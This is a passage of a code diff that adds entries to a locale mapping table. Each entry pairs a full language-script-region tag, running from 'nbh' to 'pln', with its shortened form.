+ "nbh-Latn-NG": "nbh",
+ "nbi-Latn-IN": "nbi",
+ "nbj-Latn-AU": "nbj",
+ "nbk-Latn-PG": "nbk",
+ "nbm-Latn-CF": "nbm",
+ "nbn-Latn-ID": "nbn",
+ "nbo-Latn-NG": "nbo",
+ "nbp-Latn-NG": "nbp",
+ "nbq-Latn-ID": "nbq",
+ "nbr-Latn-NG": "nbr",
+ "nbt-Deva-IN": "nbt-Deva",
+ "nbt-Latn-IN": "nbt",
+ "nbu-Latn-IN": "nbu",
+ "nbv-Latn-CM": "nbv",
+ "nbw-Latn-CD": "nbw",
+ "nby-Latn-PG": "nby",
+ "nca-Latn-ZZ": "nca",
+ "ncb-Deva-IN": "ncb-Deva",
+ "ncb-Latn-IN": "ncb",
+ "ncc-Latn-PG": "ncc",
+ "ncd-Deva-NP": "ncd",
+ "nce-Latn-ZZ": "nce",
+ "ncf-Latn-ZZ": "ncf",
+ "ncg-Latn-CA": "ncg",
+ "nch-Latn-MX": "nch",
+ "nci-Latn-MX": "nci",
+ "ncj-Latn-MX": "ncj",
+ "nck-Latn-AU": "nck",
+ "ncl-Latn-MX": "ncl",
+ "ncm-Latn-PG": "ncm",
+ "ncn-Latn-PG": "ncn",
+ "nco-Latn-ZZ": "nco",
+ "ncq-Laoo-LA": "ncq",
+ "ncq-Thai-LA": "ncq-Thai",
+ "ncr-Latn-CM": "ncr",
+ "nct-Beng-IN": "nct-Beng",
+ "nct-Latn-IN": "nct",
+ "ncu-Latn-ZZ": "ncu",
+ "ncx-Latn-MX": "ncx",
+ "ncz-Latn-US": "ncz",
+ "nd-Latn-ZW": "nd",
+ "nda-Latn-CG": "nda",
+ "ndb-Latn-CM": "ndb",
+ "ndc-Latn-MZ": "ndc",
+ "ndd-Latn-NG": "ndd",
+ "ndf-Cyrl-RU": "ndf",
+ "ndg-Latn-TZ": "ndg",
+ "ndh-Latn-TZ": "ndh",
+ "ndi-Latn-NG": "ndi",
+ "ndj-Latn-TZ": "ndj",
+ "ndk-Latn-CD": "ndk",
+ "ndl-Latn-CD": "ndl",
+ "ndm-Latn-TD": "ndm",
+ "ndn-Latn-CG": "ndn",
+ "ndp-Latn-UG": "ndp",
+ "ndq-Latn-AO": "ndq",
+ "ndr-Latn-NG": "ndr",
+ "nds-Latn-DE": "nds",
+ "ndt-Latn-CD": "ndt",
+ "ndu-Latn-CM": "ndu",
+ "ndv-Latn-SN": "ndv",
+ "ndw-Latn-CD": "ndw",
+ "ndx-Latn-ID": "ndx",
+ "ndy-Latn-CF": "ndy",
+ "ndy-Latn-TD": "ndy-TD",
+ "ndz-Latn-SS": "ndz",
+ "ne-Deva-BT": "ne-BT",
+ "ne-Deva-NP": "ne",
+ "nea-Latn-ID": "nea",
+ "neb-Latn-ZZ": "neb",
+ "nec-Latn-ID": "nec",
+ "ned-Latn-NG": "ned",
+ "nee-Latn-NC": "nee",
+ "neg-Cyrl-RU": "neg",
+ "neh-Tibt-BT": "neh",
+ "nei-Xsux-TR": "nei",
+ "nej-Latn-PG": "nej",
+ "nek-Latn-NC": "nek",
+ "nem-Latn-NC": "nem",
+ "nen-Latn-NC": "nen",
+ "neo-Latn-VN": "neo",
+ "neq-Latn-MX": "neq",
+ "ner-Latn-ID": "ner",
+ "net-Latn-PG": "net",
+ "neu-Latn-001": "neu",
+ "new-Deva-NP": "new",
+ "new-Newa-NP": "new-Newa",
+ "nex-Latn-ZZ": "nex",
+ "ney-Latn-CI": "ney",
+ "nez-Latn-US": "nez",
+ "nfa-Latn-ID": "nfa",
+ "nfd-Latn-NG": "nfd",
+ "nfl-Latn-SB": "nfl",
+ "nfr-Latn-ZZ": "nfr",
+ "nfu-Latn-CM": "nfu",
+ "ng-Latn-NA": "ng",
+ "nga-Latn-ZZ": "nga",
+ "ngb-Latn-ZZ": "ngb",
+ "ngc-Latn-CD": "ngc",
+ "ngd-Latn-CF": "ngd",
+ "nge-Latn-CM": "nge",
+ "ngg-Latn-CF": "ngg",
+ "ngh-Latn-ZA": "ngh",
+ "ngi-Latn-NG": "ngi",
+ "ngj-Latn-CM": "ngj",
+ "ngk-Latn-AU": "ngk",
+ "ngl-Latn-MZ": "ngl",
+ "ngm-Latn-FM": "ngm",
+ "ngn-Latn-CM": "ngn",
+ "ngp-Latn-TZ": "ngp",
+ "ngq-Latn-TZ": "ngq",
+ "ngr-Latn-SB": "ngr",
+ "ngs-Latn-NG": "ngs",
+ "ngt-Laoo-LA": "ngt",
+ "ngu-Latn-MX": "ngu",
+ "ngv-Latn-CM": "ngv",
+ "ngw-Latn-NG": "ngw",
+ "ngx-Latn-NG": "ngx",
+ "ngy-Latn-CM": "ngy",
+ "ngz-Latn-CG": "ngz",
+ "nha-Latn-AU": "nha",
+ "nhb-Latn-ZZ": "nhb",
+ "nhc-Latn-MX": "nhc",
+ "nhd-Latn-PY": "nhd",
+ "nhe-Latn-MX": "nhe",
+ "nhf-Latn-AU": "nhf",
+ "nhg-Latn-MX": "nhg",
+ "nhi-Latn-MX": "nhi",
+ "nhk-Latn-MX": "nhk",
+ "nhm-Latn-MX": "nhm",
+ "nhn-Latn-MX": "nhn",
+ "nho-Latn-PG": "nho",
+ "nhp-Latn-MX": "nhp",
+ "nhq-Latn-MX": "nhq",
+ "nhr-Latn-BW": "nhr",
+ "nht-Latn-MX": "nht",
+ "nhu-Latn-CM": "nhu",
+ "nhv-Latn-MX": "nhv",
+ "nhw-Latn-MX": "nhw",
+ "nhx-Latn-MX": "nhx",
+ "nhy-Latn-MX": "nhy",
+ "nhz-Latn-MX": "nhz",
+ "nia-Latn-ID": "nia",
+ "nib-Latn-PG": "nib",
+ "nid-Latn-AU": "nid",
+ "nie-Latn-TD": "nie",
+ "nif-Latn-ZZ": "nif",
+ "nig-Latn-AU": "nig",
+ "nih-Latn-TZ": "nih",
+ "nii-Latn-ZZ": "nii",
+ "nij-Latn-ID": "nij",
+ "nil-Latn-ID": "nil",
+ "nim-Latn-TZ": "nim",
+ "nin-Latn-ZZ": "nin",
+ "nio-Cyrl-RU": "nio",
+ "niq-Latn-KE": "niq",
+ "nir-Latn-ID": "nir",
+ "nis-Latn-PG": "nis",
+ "nit-Telu-IN": "nit",
+ "niu-Latn-NU": "niu",
+ "niv-Cyrl-RU": "niv",
+ "niv-Latn-RU": "niv-Latn",
+ "niw-Latn-PG": "niw",
+ "nix-Latn-CD": "nix",
+ "niy-Latn-ZZ": "niy",
+ "niz-Latn-ZZ": "niz",
+ "nja-Latn-NG": "nja",
+ "njb-Latn-IN": "njb",
+ "njd-Latn-TZ": "njd",
+ "njh-Latn-IN": "njh",
+ "nji-Latn-AU": "nji",
+ "njj-Latn-CM": "njj",
+ "njl-Latn-SS": "njl",
+ "njm-Latn-IN": "njm",
+ "njn-Latn-IN": "njn",
+ "njo-Latn-IN": "njo",
+ "njr-Latn-NG": "njr",
+ "njs-Latn-ID": "njs",
+ "njt-Latn-SR": "njt",
+ "nju-Latn-AU": "nju",
+ "njx-Latn-CG": "njx",
+ "njy-Latn-CM": "njy",
+ "njz-Beng-IN": "njz-Beng",
+ "njz-Latn-IN": "njz",
+ "nka-Latn-ZM": "nka",
+ "nkb-Latn-IN": "nkb",
+ "nkc-Latn-CM": "nkc",
+ "nkd-Latn-IN": "nkd",
+ "nke-Latn-SB": "nke",
+ "nkf-Latn-IN": "nkf",
+ "nkg-Latn-ZZ": "nkg",
+ "nkh-Latn-IN": "nkh",
+ "nki-Beng-IN": "nki-Beng",
+ "nki-Latn-IN": "nki",
+ "nkj-Latn-ID": "nkj",
+ "nkk-Latn-VU": "nkk",
+ "nkm-Latn-PG": "nkm",
+ "nkn-Latn-AO": "nkn",
+ "nko-Latn-ZZ": "nko",
+ "nkq-Latn-GH": "nkq",
+ "nkr-Latn-FM": "nkr",
+ "nks-Latn-ID": "nks",
+ "nkt-Latn-TZ": "nkt",
+ "nku-Latn-CI": "nku",
+ "nkv-Latn-MW": "nkv",
+ "nkw-Latn-CD": "nkw",
+ "nkx-Latn-NG": "nkx",
+ "nkz-Latn-NG": "nkz",
+ "nl-Latn-AW": "nl-AW",
+ "nl-Latn-BE": "nl-BE",
+ "nl-Latn-NL": "nl",
+ "nl-Latn-SR": "nl-SR",
+ "nla-Latn-CM": "nla",
+ "nlc-Latn-ID": "nlc",
+ "nle-Latn-KE": "nle",
+ "nlg-Latn-SB": "nlg",
+ "nli-Arab-AF": "nli",
+ "nlj-Latn-CD": "nlj",
+ "nlk-Latn-ID": "nlk",
+ "nlm-Arab-PK": "nlm",
+ "nlo-Latn-CD": "nlo",
+ "nlq-Latn-MM": "nlq",
+ "nlu-Latn-GH": "nlu",
+ "nlv-Latn-MX": "nlv",
+ "nlw-Latn-AU": "nlw",
+ "nlx-Deva-IN": "nlx",
+ "nly-Latn-AU": "nly",
+ "nlz-Latn-SB": "nlz",
+ "nma-Latn-IN": "nma",
+ "nmb-Latn-VU": "nmb",
+ "nmc-Latn-TD": "nmc",
+ "nmd-Latn-GA": "nmd",
+ "nme-Latn-IN": "nme",
+ "nmf-Latn-IN": "nmf",
+ "nmg-Latn-CM": "nmg",
+ "nmh-Latn-IN": "nmh",
+ "nmi-Latn-NG": "nmi",
+ "nmj-Latn-CF": "nmj",
+ "nmk-Latn-VU": "nmk",
+ "nml-Latn-CM": "nml",
+ "nmm-Deva-NP": "nmm",
+ "nmm-Tibt-NP": "nmm-Tibt",
+ "nmn-Latn-BW": "nmn",
+ "nmo-Beng-IN": "nmo-Beng",
+ "nmo-Latn-IN": "nmo",
+ "nmp-Latn-AU": "nmp",
+ "nmq-Latn-ZW": "nmq",
+ "nmr-Latn-CM": "nmr",
+ "nms-Latn-VU": "nms",
+ "nmt-Latn-FM": "nmt",
+ "nmu-Latn-US": "nmu",
+ "nmv-Latn-AU": "nmv",
+ "nmw-Latn-PG": "nmw",
+ "nmx-Latn-PG": "nmx",
+ "nmz-Latn-ZZ": "nmz",
+ "nn-Latn-NO": "nn",
+ "nna-Latn-AU": "nna",
+ "nnb-Latn-CD": "nnb",
+ "nnc-Latn-TD": "nnc",
+ "nnd-Latn-VU": "nnd",
+ "nne-Latn-AO": "nne",
+ "nnf-Latn-ZZ": "nnf",
+ "nng-Beng-IN": "nng-Beng",
+ "nng-Latn-IN": "nng",
+ "nnh-Latn-CM": "nnh",
+ "nni-Latn-ID": "nni",
+ "nnj-Latn-ET": "nnj",
+ "nnk-Latn-ZZ": "nnk",
+ "nnl-Latn-IN": "nnl",
+ "nnm-Latn-ZZ": "nnm",
+ "nnn-Latn-TD": "nnn",
+ "nnp-Wcho-IN": "nnp",
+ "nnq-Latn-TZ": "nnq",
+ "nnr-Latn-AU": "nnr",
+ "nnt-Latn-US": "nnt",
+ "nnu-Latn-GH": "nnu",
+ "nnv-Latn-AU": "nnv",
+ "nnw-Latn-BF": "nnw",
+ "nny-Latn-AU": "nny",
+ "nnz-Latn-CM": "nnz",
+ "no-Latn-NO": "no",
+ "noa-Latn-CO": "noa",
+ "noc-Latn-PG": "noc",
+ "nod-Lana-TH": "nod",
+ "noe-Deva-IN": "noe",
+ "nof-Latn-PG": "nof",
+ "nog-Cyrl-RU": "nog",
+ "noh-Latn-PG": "noh",
+ "noi-Deva-IN": "noi",
+ "noj-Latn-CO": "noj",
+ "nok-Latn-US": "nok",
+ "nom-Latn-PE": "nom",
+ "non-Runr-SE": "non",
+ "nop-Latn-ZZ": "nop",
+ "noq-Latn-CD": "noq",
+ "nos-Yiii-CN": "nos",
+ "not-Latn-PE": "not",
+ "nou-Latn-ZZ": "nou",
+ "nov-Latn-001": "nov",
+ "now-Latn-TZ": "now",
+ "noy-Latn-TD": "noy",
+ "npb-Tibt-BT": "npb",
+ "npg-Latn-MM": "npg",
+ "nph-Latn-IN": "nph",
+ "npl-Latn-MX": "npl",
+ "npn-Latn-PG": "npn",
+ "npo-Latn-IN": "npo",
+ "nps-Latn-ID": "nps",
+ "npu-Latn-IN": "npu",
+ "npx-Latn-SB": "npx",
+ "npy-Latn-ID": "npy",
+ "nqg-Latn-BJ": "nqg",
+ "nqk-Latn-BJ": "nqk",
+ "nql-Latn-AO": "nql",
+ "nqm-Latn-ID": "nqm",
+ "nqn-Latn-PG": "nqn",
+ "nqo-Nkoo-GN": "nqo",
+ "nqq-Latn-MM": "nqq",
+ "nqt-Latn-NG": "nqt",
+ "nqy-Latn-MM": "nqy",
+ "nr-Latn-ZA": "nr",
+ "nra-Latn-GA": "nra",
+ "nrb-Latn-ZZ": "nrb",
+ "nre-Latn-IN": "nre",
+ "nrf-Latn-JE": "nrf",
+ "nrg-Latn-VU": "nrg",
+ "nri-Latn-IN": "nri",
+ "nrk-Latn-AU": "nrk",
+ "nrl-Latn-AU": "nrl",
+ "nrm-Latn-MY": "nrm",
+ "nrp-Latn-IT": "nrp",
+ "nru-Hans-CN": "nru-Hans",
+ "nru-Hant-CN": "nru-Hant",
+ "nru-Latn-CN": "nru",
+ "nrx-Latn-AU": "nrx",
+ "nrz-Latn-PG": "nrz",
+ "nsa-Latn-IN": "nsa",
+ "nsb-Latn-ZA": "nsb",
+ "nsc-Latn-NG": "nsc",
+ "nsd-Yiii-CN": "nsd",
+ "nse-Latn-ZM": "nse",
+ "nsf-Yiii-CN": "nsf",
+ "nsg-Latn-TZ": "nsg",
+ "nsh-Latn-CM": "nsh",
+ "nsk-Cans-CA": "nsk",
+ "nsm-Latn-IN": "nsm",
+ "nsn-Latn-ZZ": "nsn",
+ "nso-Latn-ZA": "nso",
+ "nsq-Latn-US": "nsq",
+ "nss-Latn-ZZ": "nss",
+ "nst-Tnsa-IN": "nst",
+ "nsu-Latn-MX": "nsu",
+ "nsv-Yiii-CN": "nsv",
+ "nsw-Latn-VU": "nsw",
+ "nsx-Latn-AO": "nsx",
+ "nsy-Latn-ID": "nsy",
+ "nsz-Latn-US": "nsz",
+ "ntd-Latn-MY": "ntd",
+ "nte-Latn-MZ": "nte",
+ "ntg-Latn-AU": "ntg",
+ "nti-Latn-BF": "nti",
+ "ntj-Latn-AU": "ntj",
+ "ntk-Latn-TZ": "ntk",
+ "ntm-Latn-ZZ": "ntm",
+ "nto-Latn-CD": "nto",
+ "ntp-Latn-MX": "ntp",
+ "ntr-Latn-ZZ": "ntr",
+ "ntu-Latn-SB": "ntu",
+ "ntx-Latn-MM": "ntx",
+ "nty-Yiii-VN": "nty",
+ "ntz-Arab-IR": "ntz",
+ "nua-Latn-NC": "nua",
+ "nuc-Latn-BR": "nuc",
+ "nud-Latn-PG": "nud",
+ "nue-Latn-CD": "nue",
+ "nuf-Latn-CN": "nuf",
+ "nug-Latn-AU": "nug",
+ "nuh-Latn-NG": "nuh",
+ "nui-Latn-ZZ": "nui",
+ "nuj-Latn-UG": "nuj",
+ "nuk-Latn-CA": "nuk",
+ "num-Latn-TO": "num",
+ "nun-Latn-MM": "nun",
+ "nuo-Latn-VN": "nuo",
+ "nup-Latn-ZZ": "nup",
+ "nuq-Latn-PG": "nuq",
+ "nur-Latn-PG": "nur",
+ "nus-Latn-SS": "nus",
+ "nut-Latn-VN": "nut",
+ "nuu-Latn-CD": "nuu",
+ "nuv-Latn-ZZ": "nuv",
+ "nuw-Latn-FM": "nuw",
+ "nux-Latn-ZZ": "nux",
+ "nuy-Latn-AU": "nuy",
+ "nuz-Latn-MX": "nuz",
+ "nv-Latn-US": "nv",
+ "nvh-Latn-VU": "nvh",
+ "nvm-Latn-PG": "nvm",
+ "nvo-Latn-CM": "nvo",
+ "nwb-Latn-ZZ": "nwb",
+ "nwc-Brah-NP": "nwc-Brah",
+ "nwc-Deva-NP": "nwc-Deva",
+ "nwc-Newa-NP": "nwc",
+ "nwc-Sidd-NP": "nwc-Sidd",
+ "nwe-Latn-CM": "nwe",
+ "nwg-Latn-AU": "nwg",
+ "nwi-Latn-VU": "nwi",
+ "nwm-Latn-SS": "nwm",
+ "nwo-Latn-AU": "nwo",
+ "nwr-Latn-PG": "nwr",
+ "nww-Latn-TZ": "nww",
+ "nwx-Deva-NP": "nwx",
+ "nxa-Latn-TL": "nxa",
+ "nxd-Latn-CD": "nxd",
+ "nxe-Latn-ID": "nxe",
+ "nxg-Latn-ID": "nxg",
+ "nxi-Latn-TZ": "nxi",
+ "nxl-Latn-ID": "nxl",
+ "nxn-Latn-AU": "nxn",
+ "nxo-Latn-GA": "nxo",
+ "nxq-Latn-CN": "nxq",
+ "nxr-Latn-ZZ": "nxr",
+ "nxx-Latn-ID": "nxx",
+ "ny-Latn-MW": "ny",
+ "nyb-Latn-GH": "nyb",
+ "nyc-Latn-CD": "nyc",
+ "nyd-Latn-KE": "nyd",
+ "nye-Latn-AO": "nye",
+ "nyf-Latn-KE": "nyf",
+ "nyg-Latn-CD": "nyg",
+ "nyh-Latn-AU": "nyh",
+ "nyi-Latn-SD": "nyi",
+ "nyj-Latn-CD": "nyj",
+ "nyk-Latn-AO": "nyk",
+ "nyl-Thai-TH": "nyl",
+ "nym-Latn-TZ": "nym",
+ "nyn-Latn-UG": "nyn",
+ "nyo-Latn-UG": "nyo",
+ "nyp-Latn-UG": "nyp",
+ "nyq-Arab-IR": "nyq",
+ "nyr-Latn-MW": "nyr",
+ "nys-Latn-AU": "nys",
+ "nyt-Latn-AU": "nyt",
+ "nyu-Latn-MZ": "nyu",
+ "nyv-Latn-AU": "nyv",
+ "nyx-Latn-AU": "nyx",
+ "nyy-Latn-TZ": "nyy",
+ "nza-Latn-CM": "nza",
+ "nzb-Latn-GA": "nzb",
+ "nzd-Latn-CD": "nzd",
+ "nzi-Latn-GH": "nzi",
+ "nzk-Latn-CF": "nzk",
+ "nzm-Latn-IN": "nzm",
+ "nzu-Latn-CG": "nzu",
+ "nzy-Latn-TD": "nzy",
+ "nzz-Latn-ML": "nzz",
+ "oaa-Cyrl-RU": "oaa",
+ "oac-Cyrl-RU": "oac",
+ "oar-Syrc-SY": "oar",
+ "oav-Geor-GE": "oav",
+ "obi-Latn-US": "obi",
+ "obk-Latn-PH": "obk",
+ "obl-Latn-CM": "obl",
+ "obm-Phnx-JO": "obm",
+ "obo-Latn-PH": "obo",
+ "obr-Mymr-MM": "obr",
+ "obt-Latn-FR": "obt",
+ "obu-Latn-NG": "obu",
+ "oc-Latn-FR": "oc",
+ "oca-Latn-PE": "oca",
+ "oco-Latn-GB": "oco",
+ "ocu-Latn-MX": "ocu",
+ "oda-Latn-NG": "oda",
+ "odk-Arab-PK": "odk",
+ "odt-Latn-NL": "odt",
+ "odu-Latn-NG": "odu",
+ "ofu-Latn-NG": "ofu",
+ "ogb-Latn-NG": "ogb",
+ "ogc-Latn-ZZ": "ogc",
+ "ogg-Latn-NG": "ogg",
+ "ogo-Latn-NG": "ogo",
+ "ogu-Latn-NG": "ogu",
+ "oht-Xsux-TR": "oht",
+ "oia-Latn-ID": "oia",
+ "oie-Latn-SS": "oie",
+ "oin-Latn-PG": "oin",
+ "oj-Cans-CA": "oj",
+ "ojb-Cans-CA": "ojb-Cans",
+ "ojb-Latn-CA": "ojb",
+ "ojc-Latn-CA": "ojc",
+ "ojs-Cans-CA": "ojs",
+ "ojv-Latn-SB": "ojv",
+ "ojw-Cans-CA": "ojw-Cans",
+ "ojw-Latn-CA": "ojw",
+ "oka-Latn-CA": "oka",
+ "okb-Latn-NG": "okb",
+ "okc-Latn-CD": "okc",
+ "okd-Latn-NG": "okd",
+ "oke-Latn-NG": "oke",
+ "okg-Latn-AU": "okg",
+ "oki-Latn-KE": "oki",
+ "okk-Latn-PG": "okk",
+ "okm-Hang-KR": "okm",
+ "oko-Hani-KR": "oko",
+ "okr-Latn-ZZ": "okr",
+ "oks-Latn-NG": "oks",
+ "oku-Latn-CM": "oku",
+ "okv-Latn-ZZ": "okv",
+ "okx-Latn-NG": "okx",
+ "okz-Khmr-KH": "okz",
+ "ola-Deva-NP": "ola",
+ "ola-Tibt-CN": "ola-Tibt",
+ "old-Latn-TZ": "old",
+ "ole-Tibt-BT": "ole",
+ "olk-Latn-AU": "olk",
+ "olm-Latn-NG": "olm",
+ "olo-Latn-RU": "olo",
+ "olr-Latn-VU": "olr",
+ "olt-Latn-LT": "olt",
+ "olu-Latn-AO": "olu",
+ "om-Latn-ET": "om",
+ "oma-Latn-US": "oma",
+ "omb-Latn-VU": "omb",
+ "omc-Latn-PE": "omc",
+ "omg-Latn-PE": "omg",
+ "omi-Latn-CD": "omi",
+ "omk-Cyrl-RU": "omk",
+ "oml-Latn-CD": "oml",
+ "omo-Latn-PG": "omo",
+ "omp-Mtei-IN": "omp",
+ "omr-Modi-IN": "omr",
+ "omt-Latn-KE": "omt",
+ "omu-Latn-PE": "omu",
+ "omw-Latn-PG": "omw",
+ "ona-Latn-AR": "ona",
+ "one-Latn-CA": "one",
+ "ong-Latn-ZZ": "ong",
+ "oni-Latn-ID": "oni",
+ "onj-Latn-PG": "onj",
+ "onk-Latn-PG": "onk",
+ "onn-Latn-ZZ": "onn",
+ "ono-Latn-CA": "ono",
+ "onp-Deva-IN": "onp-Deva",
+ "onp-Latn-IN": "onp",
+ "onr-Latn-PG": "onr",
+ "ons-Latn-ZZ": "ons",
+ "ont-Latn-PG": "ont",
+ "onu-Latn-VU": "onu",
+ "onx-Latn-ID": "onx",
+ "ood-Latn-US": "ood",
+ "oon-Deva-IN": "oon",
+ "oor-Latn-ZA": "oor",
+ "opa-Latn-NG": "opa",
+ "opk-Latn-ID": "opk",
+ "opm-Latn-ZZ": "opm",
+ "opo-Latn-PG": "opo",
+ "opt-Latn-MX": "opt",
+ "opy-Latn-BR": "opy",
+ "or-Orya-IN": "or",
+ "ora-Latn-SB": "ora",
+ "orc-Latn-KE": "orc",
+ "ore-Latn-PE": "ore",
+ "org-Latn-NG": "org",
+ "orn-Latn-MY": "orn",
+ "oro-Latn-ZZ": "oro",
+ "orr-Latn-NG": "orr",
+ "ors-Latn-MY": "ors",
+ "ort-Telu-IN": "ort",
+ "oru-Arab-ZZ": "oru",
+ "orv-Cyrl-RU": "orv",
+ "orw-Latn-BR": "orw",
+ "orx-Latn-NG": "orx",
+ "orz-Latn-ID": "orz",
+ "os-Cyrl-GE": "os",
+ "osa-Osge-US": "osa",
+ "osc-Ital-IT": "osc",
+ "osc-Latn-IT": "osc-Latn",
+ "osi-Java-ID": "osi",
+ "oso-Latn-NG": "oso",
+ "osp-Latn-ES": "osp",
+ "ost-Latn-CM": "ost",
+ "osu-Latn-PG": "osu",
+ "osx-Latn-DE": "osx",
+ "ota-Arab-ZZ": "ota",
+ "otb-Tibt-CN": "otb",
+ "otd-Latn-ID": "otd",
+ "ote-Latn-MX": "ote",
+ "oti-Latn-BR": "oti",
+ "otk-Orkh-MN": "otk",
+ "otl-Latn-MX": "otl",
+ "otm-Latn-MX": "otm",
+ "otn-Latn-MX": "otn",
+ "otq-Latn-MX": "otq",
+ "otr-Latn-SD": "otr",
+ "ots-Latn-MX": "ots",
+ "ott-Latn-MX": "ott",
+ "otu-Latn-BR": "otu",
+ "otw-Latn-CA": "otw",
+ "otx-Latn-MX": "otx",
+ "oty-Gran-IN": "oty",
+ "otz-Latn-MX": "otz",
+ "oub-Latn-LR": "oub",
+ "oue-Latn-PG": "oue",
+ "oui-Ougr-143": "oui",
+ "oum-Latn-PG": "oum",
+ "ovd-Latn-SE": "ovd",
+ "owi-Latn-PG": "owi",
+ "owl-Latn-GB": "owl",
+ "oyd-Latn-ET": "oyd",
+ "oym-Latn-BR": "oym",
+ "oyy-Latn-PG": "oyy",
+ "ozm-Latn-ZZ": "ozm",
+ "pa-Arab-PK": "pa-PK",
+ "pa-Guru-IN": "pa",
+ "pab-Latn-BR": "pab",
+ "pac-Latn-VN": "pac",
+ "pad-Latn-BR": "pad",
+ "pae-Latn-CD": "pae",
+ "paf-Latn-BR": "paf",
+ "pag-Latn-PH": "pag",
+ "pah-Latn-BR": "pah",
+ "pai-Latn-NG": "pai",
+ "pak-Latn-BR": "pak",
+ "pal-Phli-IR": "pal",
+ "pal-Phlp-CN": "pal-Phlp",
+ "pam-Latn-PH": "pam",
+ "pao-Latn-US": "pao",
+ "pap-Latn-BQ": "pap-BQ",
+ "pap-Latn-CW": "pap",
+ "paq-Cyrl-TJ": "paq",
+ "par-Latn-US": "par",
+ "pas-Latn-ID": "pas",
+ "pau-Latn-PW": "pau",
+ "pav-Latn-BR": "pav",
+ "paw-Latn-US": "paw",
+ "pax-Latn-BR": "pax",
+ "pay-Latn-HN": "pay",
+ "paz-Latn-BR": "paz",
+ "pbb-Latn-CO": "pbb",
+ "pbc-Latn-GY": "pbc",
+ "pbe-Latn-MX": "pbe",
+ "pbf-Latn-MX": "pbf",
+ "pbg-Latn-VE": "pbg",
+ "pbh-Latn-VE": "pbh",
+ "pbi-Latn-ZZ": "pbi",
+ "pbl-Latn-NG": "pbl",
+ "pbm-Latn-MX": "pbm",
+ "pbn-Latn-NG": "pbn",
+ "pbo-Latn-GW": "pbo",
+ "pbp-Latn-GN": "pbp",
+ "pbr-Latn-TZ": "pbr",
+ "pbs-Latn-MX": "pbs",
+ "pbt-Arab-AF": "pbt",
+ "pbv-Latn-IN": "pbv",
+ "pby-Latn-PG": "pby",
+ "pca-Latn-MX": "pca",
+ "pcb-Khmr-KH": "pcb",
+ "pcc-Hani-CN": "pcc-Hani",
+ "pcc-Latn-CN": "pcc",
+ "pcd-Latn-FR": "pcd",
+ "pce-Mymr-MM": "pce",
+ "pce-Thai-TH": "pce-Thai",
+ "pcf-Mlym-IN": "pcf",
+ "pcg-Knda-IN": "pcg-Knda",
+ "pcg-Mlym-IN": "pcg",
+ "pcg-Taml-IN": "pcg-Taml",
+ "pch-Deva-IN": "pch",
+ "pci-Deva-IN": "pci",
+ "pci-Orya-IN": "pci-Orya",
+ "pcj-Telu-IN": "pcj",
+ "pck-Latn-IN": "pck",
+ "pcm-Latn-NG": "pcm",
+ "pcn-Latn-NG": "pcn",
+ "pcp-Latn-BO": "pcp",
+ "pcw-Latn-NG": "pcw",
+ "pda-Latn-PG": "pda",
+ "pdc-Latn-US": "pdc",
+ "pdn-Latn-ID": "pdn",
+ "pdo-Latn-ID": "pdo",
+ "pdt-Latn-CA": "pdt",
+ "pdu-Latn-MM": "pdu",
+ "pdu-Mymr-MM": "pdu-Mymr",
+ "pea-Latn-ID": "pea",
+ "peb-Latn-US": "peb",
+ "ped-Latn-ZZ": "ped",
+ "pee-Latn-ID": "pee",
+ "peg-Orya-IN": "peg",
+ "pei-Latn-MX": "pei",
+ "pek-Latn-PG": "pek",
+ "pel-Latn-ID": "pel",
+ "pem-Latn-CD": "pem",
+ "peo-Xpeo-IR": "peo",
+ "pep-Latn-PG": "pep",
+ "peq-Latn-US": "peq",
+ "pev-Latn-VE": "pev",
+ "pex-Latn-ZZ": "pex",
+ "pey-Latn-ID": "pey",
+ "pez-Latn-MY": "pez",
+ "pfa-Latn-FM": "pfa",
+ "pfe-Latn-CM": "pfe",
+ "pfl-Latn-DE": "pfl",
+ "pga-Latn-SS": "pga",
+ "pgd-Khar-PK": "pgd",
+ "pgg-Deva-IN": "pgg",
+ "pgi-Latn-PG": "pgi",
+ "pgk-Latn-VU": "pgk",
+ "pgl-Ogam-IE": "pgl",
+ "pgn-Ital-IT": "pgn",
+ "pgs-Latn-NG": "pgs",
+ "pgu-Latn-ID": "pgu",
+ "phd-Deva-IN": "phd",
+ "phg-Latn-VN": "phg",
+ "phh-Latn-VN": "phh",
+ "phk-Mymr-IN": "phk",
+ "phl-Arab-ZZ": "phl",
+ "phm-Latn-MZ": "phm",
+ "phn-Phnx-LB": "phn",
+ "pho-Laoo-LA": "pho",
+ "phr-Arab-PK": "phr",
+ "pht-Thai-TH": "pht",
+ "phv-Arab-AF": "phv",
+ "phw-Deva-NP": "phw",
+ "pi-Brah-IN": "pi-Brah",
+ "pi-Deva-IN": "pi-Deva",
+ "pi-Khar-IN": "pi-Khar",
+ "pi-Khmr-IN": "pi-Khmr",
+ "pi-Mymr-IN": "pi-Mymr",
+ "pi-Sinh-IN": "pi",
+ "pi-Thai-IN": "pi-Thai",
+ "pia-Latn-MX": "pia",
+ "pib-Latn-PE": "pib",
+ "pic-Latn-GA": "pic",
+ "pid-Latn-VE": "pid",
+ "pif-Latn-FM": "pif",
+ "pig-Latn-PE": "pig",
+ "pih-Latn-NF": "pih",
+ "pij-Latn-CO": "pij",
+ "pil-Latn-ZZ": "pil",
+ "pim-Latn-US": "pim",
+ "pin-Latn-PG": "pin",
+ "pio-Latn-CO": "pio",
+ "pip-Latn-ZZ": "pip",
+ "pir-Latn-BR": "pir",
+ "pis-Latn-SB": "pis",
+ "pit-Latn-AU": "pit",
+ "piu-Latn-AU": "piu",
+ "piv-Latn-SB": "piv",
+ "piw-Latn-TZ": "piw",
+ "pix-Latn-PG": "pix",
+ "piy-Latn-NG": "piy",
+ "piz-Latn-NC": "piz",
+ "pjt-Latn-AU": "pjt",
+ "pka-Brah-IN": "pka",
+ "pkb-Latn-KE": "pkb",
+ "pkg-Latn-PG": "pkg",
+ "pkh-Deva-BD": "pkh-Deva",
+ "pkh-Latn-BD": "pkh",
+ "pkn-Latn-AU": "pkn",
+ "pko-Latn-KE": "pko",
+ "pkp-Latn-CK": "pkp",
+ "pkr-Mlym-IN": "pkr",
+ "pku-Latn-ID": "pku",
+ "pl-Latn-PL": "pl",
+ "pl-Latn-UA": "pl-UA",
+ "pla-Latn-ZZ": "pla",
+ "plb-Latn-VU": "plb",
+ "plc-Latn-PH": "plc",
+ "pld-Latn-GB": "pld",
+ "ple-Latn-ID": "ple",
+ "plg-Latn-AR": "plg",
+ "plh-Latn-ID": "plh",
+ "plj-Latn-NG": "plj",
+ "plk-Arab-PK": "plk",
+ "pll-Mymr-MM": "pll",
+ "pln-Latn-CO": "pln",
